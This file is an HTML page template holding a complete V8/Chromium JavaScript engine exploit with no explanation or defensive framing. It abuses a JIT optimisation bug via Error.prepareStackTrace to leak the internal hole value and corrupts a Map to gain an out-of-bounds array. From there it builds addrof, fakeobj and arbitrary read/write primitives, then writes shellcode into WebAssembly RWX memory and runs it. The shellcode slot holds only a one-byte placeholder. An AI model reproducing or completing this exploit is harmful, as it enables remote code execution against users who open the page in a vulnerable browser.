1.html.templet

<script>
if(typeof alert === "undefined"){
    alert = console.log;
}

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function gc(){ // major
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

function foo(bug) {
    function C(z) {
        Error.prepareStackTrace = function(t, B) {
            return B[z].getThis();
        };
        let p = Error().stack;
        Error.prepareStackTrace = null;
        return p;
    }
    function J() {}
    var optim = false;
    var opt = new Function(
        'a', 'b', 'c',
        'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
        'g++;'.repeat(70));
    var e = null;
    J.prototype.d = new Function(
        'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
    J.prototype.a = new Function('a', 'a.b(0,a)');
    J.prototype.b = new Function(
        'a', 'b',
        'b.c();if(a){' +
        'g++;'.repeat(70) + '}');
    J.prototype.c = function() {
        if (optim) {
            var z = C(3);
            var p = C(3);
            z[0] = 0;
            e = {M: z, C: p};
        }
    };
    var a = new J();
    // jit optim
    if (bug) {
        for (var V = 0; 1E4 > V; V++) {
            opt(0 == V % 4 ? 1 : 4, a, 1);
        }
    }
    optim = true;
    opt(1, a, 1);
    return e;
}

e1 = foo(false);
e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);

map.delete(hole);
map.delete(hole);
map.delete("asd");

map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);

let obj_array = {
    m: 1337, target: gc
};

let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;

let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 0xa72) {
        object_idx = i;
        object_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 0xa72) {
        object_idx = i + 1;
        object_idx_flag = 0;
        break;
    }
}

function addrof(obj_para) {
    obj_array.target = obj_para;
    let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
    obj_array.target = gc;
    return addr;
}

function fakeobj(addr) {
    let r8 = d2u(oob_array[object_idx]);
    if (object_idx_flag === 0) {
        oob_array[object_idx] = u2d(addr, r8[1]);
    }else {
        oob_array[object_idx] = u2d(r8[0], addr);
    }
    return obj_array.target;
}

let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 1337) {
        bk_idx = i;
        bk_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 1337) {
        bk_idx = i + 1;
        bk_idx_flag = 0;
        break;
    }
}

let dv = new DataView(ab);
function get_32(addr) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    let val = dv.getUint32(0, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
    return val;
}

function set_32(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint32(0, val, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
}

function write8(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint8(0, val);
}

let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0x00]);

for(let i=0;i<shellcode.length;i++){
    write8(rwx_mem+i,shellcode[i]);
}
f();
</script>